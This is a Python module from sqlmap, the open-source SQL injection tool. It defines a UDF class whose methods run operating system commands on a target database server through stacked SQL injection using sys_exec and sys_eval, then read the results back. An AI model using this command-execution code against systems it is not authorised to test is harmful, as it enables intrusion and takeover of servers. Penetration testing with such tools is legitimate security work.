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68 lines
2.0 KiB
Python
68 lines
2.0 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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from lib.core.convert import urlencode
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from lib.core.exception import sqlmapUnsupportedFeatureException
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from lib.request import inject
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class UDF:
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"""
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This class defines methods to deal with User-Defined Functions for
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plugins.
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"""
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def __init__(self):
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self.createdUdf = set()
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self.udfToCreate = set()
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def udfExecCmd(self, cmd, silent=False):
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cmd = urlencode(cmd, convall=True)
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inject.goStacked("SELECT sys_exec('%s')" % cmd, silent)
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def udfEvalCmd(self, cmd):
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cmd = urlencode(cmd, convall=True)
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inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd))
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output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
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inject.goStacked("DELETE FROM %s" % self.cmdTblName)
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if isinstance(output, (list, tuple)):
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output = output[0]
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if isinstance(output, (list, tuple)):
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output = output[0]
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return output
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def udfInit(self):
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errMsg = "udfInit() method must be defined within the plugin"
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raise sqlmapUnsupportedFeatureException, errMsg
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